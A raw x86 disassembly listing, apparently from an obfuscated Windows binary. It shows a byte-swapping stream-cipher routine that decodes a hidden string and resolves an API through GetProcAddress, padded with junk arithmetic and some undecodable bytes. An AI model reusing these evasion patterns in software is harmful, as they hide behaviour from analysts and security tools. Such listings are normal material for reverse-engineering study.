movzx edx, byte [ebp - 0x3608]
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx ecx, byte [ebp - 0x3646]
shl ecx, 0
lea esi, [ebp - 0x2ea8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3607]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [ebp - 0x3608]
shl edx, 0
lea esi, [ebp - 0x2ea8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35c2]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [ebp - 0x3607]
shl eax, 0
lea esi, [ebp - 0x2ea8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x35c2]
shl edx, 0
lea eax, [ebp - 0x2ea8]
mov cl, byte [ebp - 0x36f2]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x36f2]
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x36f3]
add edx, ecx
mov byte [ebp - 0x36f3], dl
movzx eax, byte [ebp - 0x36f4]
movzx ecx, byte [ebp - 0x3608]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x35c2]
shl edx, 0
lea esi, [ebp - 0x2ea8]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3607]
shl edx, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x3646]
shl ecx, 0
lea esi, [ebp - 0x2ea8]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x36f3]
shl ecx, 0
lea esi, [ebp - 0x2ea8]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3607], al
mov al, byte [ebp - 0x36f4]
mov byte [ebp - 0x3646], al
mov cl, byte [ebp - 0x3607]
mov byte [ebp - 0x37d6], cl
cmp dword [ebp - 0x3794], 0
jbe 0x48c786
mov edx, dword [ebp - 0x3794]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x1d40]
mov cl, byte [ebp - 0x37d6]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x3794]
add edx, 1
mov dword [ebp - 0x3794], edx
mov eax, dword [ebp - 0x3d3c]
add eax, 1
mov dword [ebp - 0x3d3c], eax
mov ecx, dword [ebp - 0x3794]
shl ecx, 1
mov dword [ebp - 0x44f4], ecx
mov edx, dword [ebp - 0x44f4]
shl edx, 0
add edx, dword [ebp - 0x45e0]
movzx eax, byte [edx]
mov dword [ebp - 0x4394], eax
mov dword [ebp - 0x4398], 0xa0
mov ecx, dword [ebp - 0x3794]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x44f8], ecx
mov edx, dword [ebp - 0x44f8]
shl edx, 0
add edx, dword [ebp - 0x45e0]
movzx eax, byte [edx]
mov dword [ebp - 0x439c], eax
mov dword [ebp - 0x43a0], 0x33
mov ecx, dword [ebp - 0x4394]
sub ecx, dword [ebp - 0x4398]
mov dword [ebp - 0x43a4], ecx
mov edx, dword [ebp - 0x439c]
sub edx, dword [ebp - 0x43a0]
mov dword [ebp - 0x43a8], edx
mov eax, dword [ebp - 0x43a4]
shl eax, 4
mov dword [ebp - 0x44ec], eax
mov ecx, dword [ebp - 0x43a8]
mov dword [ebp - 0x44e8], ecx
mov edx, dword [ebp - 0x44ec]
or edx, dword [ebp - 0x44e8]
mov dword [ebp - 0x44e4], edx
mov al, byte [ebp - 0x44e4]
mov byte [ebp - 0x36f4], al
movzx ecx, byte [ebp - 0x3646]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
mov al, byte [ecx + edx]
mov byte [ebp - 0x36f2], al
movzx ecx, byte [ebp - 0x35c2]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3608]
add ecx, eax
mov byte [ebp - 0x3608], cl
mov dl, byte [ebp - 0x35c2]
add dl, 1
mov byte [ebp - 0x35c2], dl
movzx eax, byte [ebp - 0x3608]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [ebp - 0x3646]
shl edx, 0
lea esi, [ebp - 0x2ea8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3607]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [ebp - 0x3608]
shl eax, 0
lea esi, [ebp - 0x2ea8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x35c2]
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx ecx, byte [ebp - 0x3607]
shl ecx, 0
lea esi, [ebp - 0x2ea8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35c2]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
mov dl, byte [ebp - 0x36f2]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x36f2]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x36f3]
add eax, edx
mov byte [ebp - 0x36f3], al
movzx ecx, byte [ebp - 0x36f4]
movzx edx, byte [ebp - 0x3608]
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x35c2]
shl eax, 0
lea esi, [ebp - 0x2ea8]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3607]
shl eax, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x3646]
shl edx, 0
lea esi, [ebp - 0x2ea8]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x36f3]
shl edx, 0
lea esi, [ebp - 0x2ea8]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3607], cl
mov cl, byte [ebp - 0x36f4]
mov byte [ebp - 0x3646], cl
mov dl, byte [ebp - 0x3607]
mov byte [ebp - 0x37d6], dl
cmp dword [ebp - 0x3794], 0
jbe 0x48ca46
mov eax, dword [ebp - 0x3794]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x1d40]
mov dl, byte [ebp - 0x37d6]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x3d3c]
add eax, 6
mov dword [ebp - 0x3d3c], eax
mov ecx, dword [ebp - 0x3794]
add ecx, 1
mov dword [ebp - 0x4e4c], ecx
jmp 0x48ca75
mov edx, dword [ebp - 0x4e4c]
add edx, 1
mov dword [ebp - 0x4e4c], edx
mov eax, dword [ebp - 0x4e4c]
cmp eax, dword [ebp - 0x3d3c]
jge 0x48cd3c
mov ecx, dword [ebp - 0x3794]
add ecx, 1
mov dword [ebp - 0x3794], ecx
mov edx, dword [ebp - 0x3794]
shl edx, 1
mov dword [ebp - 0x44f4], edx
mov eax, dword [ebp - 0x44f4]
shl eax, 0
add eax, dword [ebp - 0x45e0]
movzx ecx, byte [eax]
mov dword [ebp - 0x4394], ecx
mov dword [ebp - 0x4398], 0xa0
mov edx, dword [ebp - 0x3794]
shl edx, 1
add edx, 1
mov dword [ebp - 0x44f8], edx
mov eax, dword [ebp - 0x44f8]
shl eax, 0
add eax, dword [ebp - 0x45e0]
movzx ecx, byte [eax]
mov dword [ebp - 0x439c], ecx
mov dword [ebp - 0x43a0], 0x33
mov edx, dword [ebp - 0x4394]
sub edx, dword [ebp - 0x4398]
mov dword [ebp - 0x43a4], edx
mov eax, dword [ebp - 0x439c]
sub eax, dword [ebp - 0x43a0]
mov dword [ebp - 0x43a8], eax
mov ecx, dword [ebp - 0x43a4]
shl ecx, 4
mov dword [ebp - 0x44ec], ecx
mov edx, dword [ebp - 0x43a8]
mov dword [ebp - 0x44e8], edx
mov eax, dword [ebp - 0x44ec]
or eax, dword [ebp - 0x44e8]
mov dword [ebp - 0x44e4], eax
mov cl, byte [ebp - 0x44e4]
mov byte [ebp - 0x36f4], cl
movzx edx, byte [ebp - 0x3646]
shl edx, 0
lea eax, [ebp - 0x2ea8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x36f2], cl
movzx edx, byte [ebp - 0x35c2]
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3608]
add edx, ecx
mov byte [ebp - 0x3608], dl
mov al, byte [ebp - 0x35c2]
add al, 1
mov byte [ebp - 0x35c2], al
movzx ecx, byte [ebp - 0x3608]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [ebp - 0x3646]
shl eax, 0
lea esi, [ebp - 0x2ea8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3607]
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx ecx, byte [ebp - 0x3608]
shl ecx, 0
lea esi, [ebp - 0x2ea8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35c2]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [ebp - 0x3607]
shl edx, 0
lea esi, [ebp - 0x2ea8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35c2]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
mov al, byte [ebp - 0x36f2]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x36f2]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x36f3]
add ecx, eax
mov byte [ebp - 0x36f3], cl
movzx edx, byte [ebp - 0x36f4]
movzx eax, byte [ebp - 0x3608]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x35c2]
shl ecx, 0
lea esi, [ebp - 0x2ea8]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x2ea8]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3607]
shl ecx, 0
lea eax, [ebp - 0x2ea8]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x3646]
shl eax, 0
lea esi, [ebp - 0x2ea8]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x36f3]
shl eax, 0
lea esi, [ebp - 0x2ea8]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x2ea8]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x2ea8]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3607], dl
mov dl, byte [ebp - 0x36f4]
mov byte [ebp - 0x3646], dl
mov al, byte [ebp - 0x3607]
mov byte [ebp - 0x37d6], al
cmp dword [ebp - 0x3794], 0
jbe 0x48cd37
mov ecx, dword [ebp - 0x3794]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x1d40]
mov al, byte [ebp - 0x37d6]
mov byte [ecx + edx], al
jmp 0x48ca66
mov ecx, dword [ebp - 0x3d3c]
add ecx, 1
mov dword [ebp - 0x3d3c], ecx
mov edx, dword [ebp - 0x3794]
add edx, 1
mov dword [ebp - 0x3794], edx
mov eax, dword [ebp - 0x3d3c]
add eax, 1
mov dword [ebp - 0x3d3c], eax
mov ecx, dword [ebp - 0x3794]
shl ecx, 1
mov dword [ebp - 0x44f4], ecx
mov edx, dword [ebp - 0x44f4]
shl edx, 0
add edx, dword [ebp - 0x45e0]
movzx eax, byte [edx]
mov dword [ebp - 0x4394], eax
mov dword [ebp - 0x4398], 0xa0
mov ecx, dword [ebp - 0x3794]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x44f8], ecx
mov edx, dword [ebp - 0x44f8]
shl edx, 0
add edx, dword [ebp - 0x45e0]
movzx eax, byte [edx]
mov dword [ebp - 0x439c], eax
mov dword [ebp - 0x43a0], 0x33
mov ecx, dword [ebp - 0x4394]
sub ecx, dword [ebp - 0x4398]
mov dword [ebp - 0x43a4], ecx
movss xmm0, dword [0x9db90c]
movss dword [ebp - 0x45e8], xmm0
movss xmm0, dword [0x9db878]
movss dword [ebp - 0x44f0], xmm0
movss xmm0, dword [0x9db75c]
movss dword [ebp - 0x4f6c], xmm0
movss xmm0, dword [0x9db5b4]
movss dword [ebp - 0x5bf8], xmm0
movss xmm0, dword [0x9db414]
movss dword [ebp - 0x45e4], xmm0
movss xmm0, dword [ebp - 0x44f0]
addss xmm0, dword [ebp - 0x45e4]
movss dword [ebp - 0x44f0], xmm0
movss xmm0, dword [ebp - 0x44f0]
subss xmm0, dword [ebp - 0x45e4]
movss dword [ebp - 0x44f0], xmm0
movss xmm0, dword [ebp - 0x5bf8]
mulss xmm0, dword [ebp - 0x45e4]
movss dword [ebp - 0x5bf8], xmm0
movss xmm0, dword [ebp - 0x45e8]
mulss xmm0, dword [ebp - 0x45e4]
movss dword [ebp - 0x45e8], xmm0
movss xmm0, dword [ebp - 0x4f6c]
addss xmm0, dword [ebp - 0x45e4]
movss dword [ebp - 0x4f6c], xmm0
movss xmm0, dword [ebp - 0x45e8]
comiss xmm0, dword [ebp - 0x45e4]
jbe 0x48cf47
movss xmm0, dword [ebp - 0x45e8]
subss xmm0, dword [ebp - 0x44f0]
movss dword [ebp - 0x45e8], xmm0
movss xmm0, dword [ebp - 0x45e4]
addss xmm0, dword [ebp - 0x45e8]
movss dword [ebp - 0x45e4], xmm0
mov edx, dword [ebp - 0x439c]
sub edx, dword [ebp - 0x43a0]
mov dword [ebp - 0x43a8], edx
movss xmm0, dword [ebp - 0x44f0]
subss xmm0, dword [ebp - 0x4f6c]
movss dword [ebp - 0x44f0], xmm0
movss xmm0, dword [ebp - 0x45e8]
subss xmm0, dword [ebp - 0x44f0]
movss dword [ebp - 0x45e8], xmm0
movss xmm0, dword [ebp - 0x44f0]
mulss xmm0, dword [ebp - 0x4f6c]
movss dword [ebp - 0x44f0], xmm0
jmp 0x48cfbf
movss xmm0, dword [ebp - 0x45e4]
mulss xmm0, dword [ebp - 0x45e8]
movss dword [ebp - 0x45e4], xmm0
movss xmm0, dword [ebp - 0x4f6c]
divss xmm0, dword [ebp - 0x5bf8]
movss dword [ebp - 0x4f6c], xmm0
movss xmm0, dword [ebp - 0x45e4]
addss xmm0, dword [ebp - 0x45e8]
movss dword [ebp - 0x45e4], xmm0
movss xmm0, dword [ebp - 0x44f0]
divss xmm0, dword [ebp - 0x4f6c]
movss dword [ebp - 0x44f0], xmm0
movss xmm0, dword [ebp - 0x45e8]
mulss xmm0, dword [ebp - 0x44f0]
movss dword [ebp - 0x45e8], xmm0
mov eax, dword [ebp - 0x43a4]
shl eax, 4
mov dword [ebp - 0x44ec], eax
mov ecx, dword [ebp - 0x43a8]
mov dword [ebp - 0x44e8], ecx
mov edx, dword [ebp - 0x44ec]
or edx, dword [ebp - 0x44e8]
mov dword [ebp - 0x44e4], edx
mov al, byte [ebp - 0x44e4]
mov byte [ebp - 0x36f4], al
movzx ecx, byte [ebp - 0x3646]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
mov al, byte [ecx + edx]
mov byte [ebp - 0x36f2], al
movzx ecx, byte [ebp - 0x35c2]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3608]
add ecx, eax
mov byte [ebp - 0x3608], cl
mov dl, byte [ebp - 0x35c2]
add dl, 1
mov byte [ebp - 0x35c2], dl
movzx eax, byte [ebp - 0x3608]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [ebp - 0x3646]
shl edx, 0
lea esi, [ebp - 0x2ea8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3607]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [ebp - 0x3608]
shl eax, 0
lea esi, [ebp - 0x2ea8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x35c2]
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx ecx, byte [ebp - 0x3607]
shl ecx, 0
lea esi, [ebp - 0x2ea8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35c2]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
mov dl, byte [ebp - 0x36f2]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x36f2]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x36f3]
add eax, edx
mov byte [ebp - 0x36f3], al
movzx ecx, byte [ebp - 0x36f4]
movzx edx, byte [ebp - 0x3608]
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x35c2]
shl eax, 0
lea esi, [ebp - 0x2ea8]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3607]
shl eax, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x3646]
shl edx, 0
lea esi, [ebp - 0x2ea8]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x36f3]
shl edx, 0
lea esi, [ebp - 0x2ea8]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3607], cl
mov cl, byte [ebp - 0x36f4]
mov byte [ebp - 0x3646], cl
mov dl, byte [ebp - 0x3607]
mov byte [ebp - 0x37d6], dl
cmp dword [ebp - 0x3794], 0
jbe 0x48d1da
mov eax, dword [ebp - 0x3794]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x1d40]
mov dl, byte [ebp - 0x37d6]
mov byte [eax + ecx], dl
mov eax, 1
imul ecx, eax, 0xe
mov dword [ebp - 0x5f24], ecx
cmp dword [ebp - 0x5f24], 0xf
jae 0x48d1f3
jmp 0x48d1f8
call fcn.009b6d77
lea edx, [ebp - 0x1d40]
add edx, dword [ebp - 0x5f24]
mov byte [edx], 0
jmp 0x48d25a
mov dword [ebp - 0x3794], 0
jmp 0x48d224
mov eax, dword [ebp - 0x3794]
add eax, 1
mov dword [ebp - 0x3794], eax
cmp dword [ebp - 0x3794], 0xf
jae 0x48d25a
mov ecx, dword [ebp - 0x3794]
mov dword [ebp - 0x5f20], ecx
cmp dword [ebp - 0x5f20], 0xf
jae 0x48d244
jmp 0x48d249
call fcn.009b6d77
lea edx, [ebp - 0x1d40]
add edx, dword [ebp - 0x5f20]
mov byte [edx], 0
jmp 0x48d215
lea eax, [ebp - 0x1d40]
push eax
mov ecx, dword [ebp - 0x37e4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa06844], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x5718], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5358], xmm0
mov dword [ebp - 0x3670], 0
mov dword [ebp - 0x4e48], 0
mov dword [ebp - 0x58f8], 0
mov dword [ebp - 0x5428], 1
mov dword [ebp - 0x48c4], 0
mov dword [ebp - 0x5bf4], 0
mov dword [ebp - 0x381c], 0
mov dword [ebp - 0x39cc], 0
mov dword [ebp - 0x3938], 0
mov dword [ebp - 0x3950], 0
mov dword [ebp - 0x39d0], 0
mov dword [ebp - 0x394c], 0
mov dword [ebp - 0x3930], 0
mov dword [ebp - 0x392c], 0
mov dword [ebp - 0x3928], 0
mov dword [ebp - 0x39d4], 0
mov dword [ebp - 0x39d8], 0
mov dword [ebp - 0x39dc], 0
mov dword [ebp - 0x4e40], 0
mov byte [ebp - 0x355b], 0
mov byte [ebp - 0x3568], 0
mov byte [ebp - 0x35e7], 0
mov byte [ebp - 0x356d], 0
mov byte [ebp - 0x359c], 0
mov byte [ebp - 0x3771], 0
mov byte [ebp - 0x419d], 0
mov byte [ebp - 0x35e8], 0
mov byte [ebp - 0x35e6], 0
mov byte [ebp - 0x3679], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x5718], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5358], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5358], xmm0
jmp 0x48d3c8
movsd xmm0, qword [ebp - 0x5358]
addsd xmm0, qword [0x9d9050]
movsd qword [ebp - 0x5358], xmm0
movsd xmm0, qword [0x9db1f0]
comisd xmm0, xmmword [ebp - 0x5358]
jbe 0x48d479
movsd xmm0, qword [0x9da288]
mulsd xmm0, qword [ebp - 0x5358]
mulsd xmm0, qword [ebp - 0x5358]
movsd xmm1, qword [ebp - 0x5358]
mulsd xmm1, qword [ebp - 0x5358]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d9e60]
mulsd xmm1, qword [ebp - 0x5358]
mulsd xmm1, qword [ebp - 0x5358]
addsd xmm1, qword [0x9da028]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x5718]
movsd qword [ebp - 0x5718], xmm0
movsd xmm0, qword [ebp - 0x5718]
comisd xmm0, xmmword [0x9da200]
jbe 0x48d474
movsd xmm0, qword [0x9d9ca0]
mulsd xmm0, qword [ebp - 0x5358]
movsd xmm1, qword [ebp - 0x5718]
subsd xmm1, xmm0
movsd qword [ebp - 0x5718], xmm1
jmp 0x48d3b0
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x5718]
jbe 0x48d4be
dec ebx
jne 0x48d4c4
jno 0x48d509
inc ebp
inc eax
daa
inc ecx
jb 0x48d503
push esi
xor eax, 0x27754658
dec edi
dec edi
imul ebx, dword [ecx + edi + 0x42], 0x22
inc ebx
mov ah, 0xd5
mov esi, 0xc2dac1df
fnstsw word [esi - 0x4a2d4027]
fdiv dword [edi - 0x4b2e4627]
rol edx, cl
sar dword [ebx - 0x162d3e2a], 1
movsd dword es:[edi], dword [esi]
xor eax, 0x85c70000
inc esp
pushfd
invalid
mov dword [ebp - 0x63bc], 0x48d49f
mov dword [ebp - 0x63b8], 0x48d486
mov edx, dword [ebp - 0x63bc]
mov dword [ebp - 0x3a0c], edx
mov eax, dword [ebp - 0x63b8]
mov dword [ebp - 0x63b4], eax
mov byte [ebp - 0x419d], 0x1d
mov dword [ebp - 0x3670], 0
mov dword [ebp - 0x4e48], 0
lahf
aam 0x48
add bh, al
test dword [eax - 0x64], ecx
invalid
add byte [eax], al
mov dword [ebp - 0x3670], 0
jmp 0x48d520
invalid
mov ecx, dword [ebp - 0x3670]
add ecx, 1
mov dword [ebp - 0x3670], ecx
cmp dword [ebp - 0x3670], 0x100
jae 0x48d546
mov edx, dword [ebp - 0x3670]
shl edx, 0
lea eax, [ebp - 0x3ec]
mov cl, byte [ebp - 0x3670]
mov byte [edx + eax], cl
jmp 0x48d511
mov dword [ebp - 0x4e48], 0
mov byte [ebp - 0x3771], 0
mov dword [ebp - 0x3670], 0xff
jmp 0x48d572
mov edx, dword [ebp - 0x3670]
sub edx, 1
mov dword [ebp - 0x3670], edx
cmp dword [ebp - 0x3670], 0
jbe 0x48d838
mov dword [ebp - 0x58f8], 0
mov dword [ebp - 0x5428], 1
mov dword [ebp - 0x48c4], 0
mov eax, dword [ebp - 0x5428]
cmp eax, dword [ebp - 0x3670]
jae 0x48d5be
mov ecx, dword [ebp - 0x5428]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x5428], ecx
jmp 0x48d59d
mov edx, dword [ebp - 0x4e48]
mov dword [ebp - 0x5f1c], edx
cmp dword [ebp - 0x5f1c], 3
ja case.default.0x48d5dd
mov eax, dword [ebp - 0x5f1c]
jmp dword [eax*4 + 0x4f079c]
movzx ecx, byte [ebp - 0x3771]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x5718]
call fcn.009b6e60
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3771], bl
jmp 0x48d6e4
movzx eax, byte [ebp - 0x3771]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x5718]
call fcn.009b6e60
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3771], bl
jmp 0x48d6e4
movzx edx, byte [ebp - 0x3771]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x5718]
call fcn.009b6e60
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3771], bl
jmp 0x48d6e4
movzx ecx, byte [ebp - 0x3771]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x5718]
call fcn.009b6e60
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3771], bl
jmp 0x48d6e4
movzx eax, byte [ebp - 0x3771]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [eax + ecx]
mov eax, dword [ebp - 0x4e48]
sub eax, 4
shl eax, 0
add eax, dword [ebp - 0x63b4]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x3771], dl
mov edx, dword [ebp - 0x4e48]
add edx, 1
mov dword [ebp - 0x4e48], edx
movzx eax, byte [ebp - 0x419d]
cmp dword [ebp - 0x4e48], eax
jb 0x48d722
mov dword [ebp - 0x4e48], 0
movzx ecx, byte [ebp - 0x419d]
movzx edx, byte [ebp - 0x3771]
add edx, ecx
mov byte [ebp - 0x3771], dl
movzx eax, byte [ebp - 0x3771]
and eax, dword [ebp - 0x5428]
mov dword [ebp - 0x48c4], eax
mov ecx, dword [ebp - 0x58f8]
add ecx, 1
mov dword [ebp - 0x58f8], ecx
cmp dword [ebp - 0x58f8], 0xb
jbe 0x48d761
mov eax, dword [ebp - 0x48c4]
xor edx, edx
div dword [ebp - 0x3670]
mov dword [ebp - 0x48c4], edx
mov edx, dword [ebp - 0x48c4]
cmp edx, dword [ebp - 0x3670]
ja 0x48d5be
mov eax, dword [ebp - 0x3670]
cmp eax, dword [ebp - 0x48c4]
je 0x48d833
mov ecx, dword [ebp - 0x3670]
shl ecx, 0
lea edx, [ebp - 0x3ec]
mov eax, dword [ebp - 0x48c4]
shl eax, 0
lea esi, [ebp - 0x3ec]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x3670]
shl edx, 0
lea eax, [ebp - 0x3ec]
mov byte [edx + eax], cl
mov ecx, dword [ebp - 0x48c4]
shl ecx, 0
lea edx, [ebp - 0x3ec]
mov eax, dword [ebp - 0x3670]
shl eax, 0
lea esi, [ebp - 0x3ec]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x48c4]
shl edx, 0
lea eax, [ebp - 0x3ec]
mov byte [edx + eax], cl
mov ecx, dword [ebp - 0x3670]
shl ecx, 0
lea edx, [ebp - 0x3ec]
mov eax, dword [ebp - 0x48c4]
shl eax, 0
lea esi, [ebp - 0x3ec]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x3670]
shl edx, 0
lea eax, [ebp - 0x3ec]
mov byte [edx + eax], cl
jmp 0x48d563
mov ecx, 1
shl ecx, 0
lea edx, [ebp - 0x3ec]
mov al, byte [ecx + edx]
mov byte [ebp - 0x355b], al
mov ecx, 1
imul edx, ecx, 3
lea eax, [ebp - 0x3ec]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3568], cl
mov edx, 1
imul eax, edx, 5
lea ecx, [ebp - 0x3ec]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x35e7], dl
mov eax, 1
imul ecx, eax, 7
lea edx, [ebp - 0x3ec]
mov al, byte [ecx + edx]
mov byte [ebp - 0x356d], al
movzx ecx, byte [ebp - 0x3771]
shl ecx, 0
lea edx, [ebp - 0x3ec]
mov al, byte [ecx + edx]
mov byte [ebp - 0x359c], al
mov dword [ebp - 0x5bf4], 0x1a
cmp dword [ebp - 0x5bf4], 2
jle 0x490a15
mov ecx, dword [ebp - 0x5bf4]
and ecx, 1
jne 0x490a15
mov dword [ebp - 0x3670], 0
mov dword [ebp - 0x381c], 0
mov edx, dword [ebp - 0x381c]
add edx, 1
mov dword [ebp - 0x381c], edx
mov dword [ebp - 0x39cc], 0
mov eax, dword [ebp - 0x3670]
shl eax, 1
mov dword [ebp - 0x39cc], eax
mov dword [ebp - 0x3938], 0
mov ecx, dword [ebp - 0x39cc]
shl ecx, 0
add ecx, dword [ebp - 0x3a0c]
